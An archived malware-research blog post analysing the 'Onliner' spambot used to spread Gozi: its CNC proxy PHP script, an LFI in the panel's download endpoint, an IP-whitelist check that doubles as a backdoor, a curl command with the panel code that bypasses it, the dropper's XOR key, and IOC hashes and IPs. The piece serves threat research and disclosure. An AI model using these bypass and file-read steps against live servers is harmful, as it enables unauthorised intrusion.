Spambot safari #2 - Online Mail System
Archived: 2026-04-05 16:42:41 UTC
Hey !
today I'll present some research around a spambot named "Onliner". This spambot is actually used for spreading
Gozi.
I've already talk about Onliner in another blogpost but because the spambot quickly evolve, and the botmaster
seems to tries to avoid pwning attempst, I'll try to explain everything here :].
Original sample
The first sample that I've grab come from email, dropped by JSDropper.
A quick dynamic analysis allow us to understand that it's a spambot (a lot of SMTP connections from the
malicious process).
Before reversing it, let's look a the CNC communication.
Malware communicates over HTTP. An interesting thing is that the process doesn't contacts directly the CNC, it
try to contact some proxy web page (PHP script uploaded on compromised websites).
Proxy - Good idea - Bad realization
Using proxy websites is a good idea only if you don't use poor pwned CMS. With poor pwned CMS it take around
3 minutes to anybody to retrieves your real CNC. Example:
I can make some supposition:
It's pretty sure that the bot master uses a script for updating all the proxies scripts
All the compromised websites are old: most probable infection vectors are FTP Bruteforce or CMS
exploits
They have leave a php backdoor somewhere on the compromised website
I have try to found the PHP backdoor for using it to read the PHP proxy code. After some guessing I have saw that
the PHP backdoor is a WSO webshell, uploaded always in the same locations:
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html
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/cgi-bin/terms.php
/cgi-bin/useterms.php
/css/terms.php
/css/useterms.php
the WSO webshell is protected by a poor password -> I can read the PHP proxy code :). The commented version
below:
1. <?php
2. $server = 'aHR0cDovLzE5NC4yNDcuMTMuOC9pbWcv'; //http://194.247.13.8/img/
3. if (($_POST[base64_decode('OTk=')]=='')and($_GET[base64_decode('OTk=')]=='')) { exit; } // OTk=99.
It's a "security feature"
4. echo file_get_contents(base64_decode($server).'?'.http_build_query($_GET), false,
stream_context_create(array('http' => array('method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded','content' =>
http_build_query($_POST).'&ip='.$_SERVER['REMOTE_ADDR']))));
5. ?>
The real CNC is http://194.247.13.8/img/. I'll come back later on the $GET_['99'] / $_POST['99'] parameters,
those parameters are really interesting in the pwning process :D.
Panel - Good idea - Bad realization
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html
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Funny, the authentication is not like in others panels.
I don't want to directly use brute force here because like in almost all panels it must have a vulnerability
somewhere.
Come back to the malware communication. As you can see here, the malware download some dll (ssl and 7zip)
from the CNC.
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html
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1. GET /o17504cxn.php?&1001=4&99=15&f1=ssleay32.dll HTTP/1.0
2. User-Agent: Download Master
3. Accept: */*
4. Referer: http://ballettschule-nottuln.de/
5. Pragma: no-cache
6. Cache-Control: no-cache
7. Host: ballettschule-nottuln.de
I'm not a good pentester but when you saw a full dll name ssleay32.dll in a GET parameter, it's smell something
bad \o/.
Thanks to that LFI we have access to all the panel (click on image bellow for the full album)
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html
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After looking around, I've found a reference to another IP: 194.247.13.178. This server host another onliner web
panel: hxxp://194.247.13.178/naomi/login.php (click on image bellow for the full album)
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html
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By looking at the IP addresses (194.247.13.18 and 194.247.13.178) it seems that those guys really like "DELTA-X" hoster (Ukraine).
You know, for science, I've try to scan 194.247.13.0-255 with Nmap on port 80 + some directory guessing with
Patator.
And you know what? It works haha!
I've found another panel at hxxp://194.247.13.196/asus/login.php .
Panel V2 - Good idea - Bad realization
After releasing the first blogpost about onliner, the botmaster change some stuff. They start to use IP White listing
for accessing the panel, they update some code, they don't patch the LFI, they add some others vulns x].
Now, due to IP White listing, when you try to access the web panel, you are kicked by the PHP script:
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html
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The LFI is still here so we can look at the code. We can see 4 IPs white listed (Please don't spoil yourself, ignore
the 2 first foreach haha I'll discuss that below):
1. <?php
2. error_reporting(0);
3.
4.
5.
6. foreach($_POST as $keyD=>$valD){
7. if ($keyD!='edit_file') {
8. if (strpos($valD,"'") == true) { exit; }
9. if (strpos($valD,'"') == true) { exit; }
10. if (strpos($valD,"--") == true) { exit; }
11. if (stripos($valD,"UNION") == true) { exit; }
12. if (stripos($valD,"SELECT") == true) { exit; }
13. }
14. }
15. foreach($_GET as $keyD=>$valD){
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html
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16. if (strpos($valD,"'") == true) { exit; }
17. if (strpos($valD,'"') == true) { exit; }
18. if (strpos($valD,"--") == true) { exit; }
19. if (stripos($valD,"UNION") == true) { exit; }
20. if (stripos($valD,"SELECT") == true) { exit; }
21. }
22.
23.
24.
25. /* Green IP */
26. $IP[0]="95.211.168.97";
27. $IP[1]="163.172.235.143";
28. $IP[2]="66.180.197.197";
29. $IP[3]="91.215.152.113";
30. $IP[4]="1";
31.
32. /* Database Hostname */
33. $dbhost="localhost";
34.
35. /* Database User */
36. $dbuname="root";
37.
38. /* Database Name */
39. $dbname="naomi";
40.
41. /* Password Database */
42. $dbpass='XXXXXXXXXXX';
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html
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43.
44. /* Password */
45. $password="70183619";
46.
47. /* Folder */
48. $dir="naomi";
49.
50. /* Spamhaus Check */
51. $SpamhausCheck="0";
52.
53. /* Sorbs Check */
54. $SorbsCheck="0";
55.
56. /* Barracuda Check */
57. $BarracudaCheck="0";
58.
59. $LOG='0';
60. $ip=$_SERVER['REMOTE_ADDR'];
61. include('functions.php');
62.
63. ?>
It looks bad. I can read the PHP code but I can't access the admin panel. It's time to understand the authentication
process. Take a seat, it's wonderfull. This is a big picture of the process:
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html
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admin.php:
1. <?php
2. include("config.php");
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html
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3. include('aut.php');
4. if ($auth==true) { include('panel.php'); } else {
5. if ($_GET['pass']=='Lm7%Dv)ko4q') {
6. include('login.php');
7. }
8. }
9. ?>
I cannot explain yet what the hell is that
if ($_GET['pass']=='Lm7%Dv)ko4q') {
include('login.php');
}
Anyway, the big picture show us that the situation looks bad, the IP White listing is done early. But the function
for IP White listing is in fact... a backdoor \o/:
1. ?php
2. $L=1;
3. if (($_GET['99']=='')and($_POST['99']=='')) {
4. if (($IP[0]!='')or($IP[1]!='')or($IP[2]!='')or($IP[3]!='')or($IP[4]!='')) {
5. if (($IP[0]==$ip)or($IP[1]==$ip)or($IP[2]==$ip)or($IP[3]==$ip)or($IP[4]==$ip)) {
6. $L=1;
7. } else {
8. $L=0;
9. }
10. }
11. if ($L==0) { die('Not Found

12. The requested URL was not found on this server.'); }
13. $L=0;
14. }
15. ?>
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html
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Remember the $_GET['99'] in the PHP proxy script ? Look at the script. For bypassing IP White listing when an
infected bot try to contacts the CNC, they use this parameters $_GET['99'] and $_POST['99'].
I just need the code (in config.php) + set the POST and GET variables and I can access to the CNC from any IPs.
curl --data "code=70183619&99=backdoor" "http://194.247.13.178/naomi/admin.php?99=backdoor&mailer=true"
> onliner.html
Bonus
To finish, I just want to show you without comment 2 security features used in the Onliner panel.
Anti-SQLi:
1. foreach($_POST as $keyD=>$valD){
2. if ($keyD!='edit_file') {
3. if (strpos($valD,"'") == true) { exit; }
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html
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4. if (strpos($valD,'"') == true) { exit; }
5. if (strpos($valD,"--") == true) { exit; }
6. if (stripos($valD,"UNION") == true) { exit; }
7. if (stripos($valD,"SELECT") == true) { exit; }
8. }
9. }
10. foreach($_GET as $keyD=>$valD){
11. if (strpos($valD,"'") == true) { exit; }
12. if (strpos($valD,'"') == true) { exit; }
13. if (strpos($valD,"--") == true) { exit; }
14. if (stripos($valD,"UNION") == true) { exit; }
15. if (stripos($valD,"SELECT") == true) { exit; }
16. }
Anti-... I don't know what:
1. ?php
2. if (StrPos($_GET['edit'],'htaccess')>0) {
3. echo('**Report sent to the administrator  
4. If there was an attempt to fill the shell, your account will be disabled.**');
5. exit;
6. ?>
Malware binary
The malware himself is in fact a dropper. When you run it, it copy itself in C:\windows\ and re-run as services.
The dropper try to drop 2 dlls:
http://cnc.com/MailerSMTP/dll.dll : the Spam module
http://cnc.com/CheckerSMTP/dll.dll : the SMTP credentials checker module
Those 2 dll are xored with the key
[0x37, 0x32, 0x44, 0x45, 0x34, 0x45, 0x35, 0x33, 0x36, 0x46, 0x35, 0x42, 0x32, 0x37, 0x39, 0x36, 0x31, 0x43,
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html
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0x43, 0x44, 0x41, 0x37, 0x30, 0x43, 0x32, 0x30, 0x39, 0x37, 0x38, 0x32, 0x46, 0x44, 0x44, 0x35, 0x31, 0x34,
0x43, 0x34, 0x36, 0x37, 0x44, 0x37, 0x39, 0x44, 0x30, 0x39, 0x39, 0x33, 0x38, 0x30, 0x33, 0x35, 0x31, 0x39,
0x43, 0x33, 0x32, 0x41, 0x46, 0x37, 0x33, 0x30, 0x34, 0x30, 0x00]
A little schema of the malware communication initialization: (the communication is encoded with base64 with
$_GET parameters)
All the modules needed are copied in c:\windows\ too.
After installation, the malware wait for command from the CNC. Here, an example with the CheckerSMTP
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html
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Module:
The CNC send the "control account", this account (mail+password+smtpserver) is used to be sure that the
spamming process works. Valid SMTP credentials can be sends to this control account to
The CNC send a file a list of SMTP server + a list of compromised account in 2 zip files. mask.zip and
3746000.zip
The CNC wait until the bot finish his job and send another list of SMTP+Credentials
The sample is pretty good detected by AV industry (maybe due to the lot of debug strings present in the binary).
Conclusion
As reminded, this spam bot is used to spread Gozi in Italy and Canada.
Onliner has around 1000 infected bots, they don't spread to much sample of the spambot.
I look forward the next update of the panel.
Annexe
Onliner known IPs:
194.247.13.8
194.247.13.178
194.247.13.196
91.210.165.163
Spambot sample:
9144917a27453e8d69596a41ea003a5bf7d33334caaa4e67f5f8f9ef9cc3bcd1
B5C87CAB2FF99D1E4B4C3EE897B07869FA8F6A63FBD27018F589C105FAF91FCD
Module samples:
3f28a345393273cab4c6cea060644646bf9d0e5b2ebd7dd0c3935fe696223565
b535d1eec26275fb53561a7dd3c6454b8036176f8fbdd12a64f2ed4defccb618
Source: https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html
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http://cnc.com/CheckerSMTP/dll.dll Those 2 dll are xored with the key : the SMTP credentials checker module  
[0x37, 0x32, 0x44, 0x45, 0x34, 0x45, 0x35, 0x33, 0x36, 0x46, 0x35, 0x42, 0x32, 0x37, 0x39, 0x36, 0x31, 0x43,
   Page 13 of 15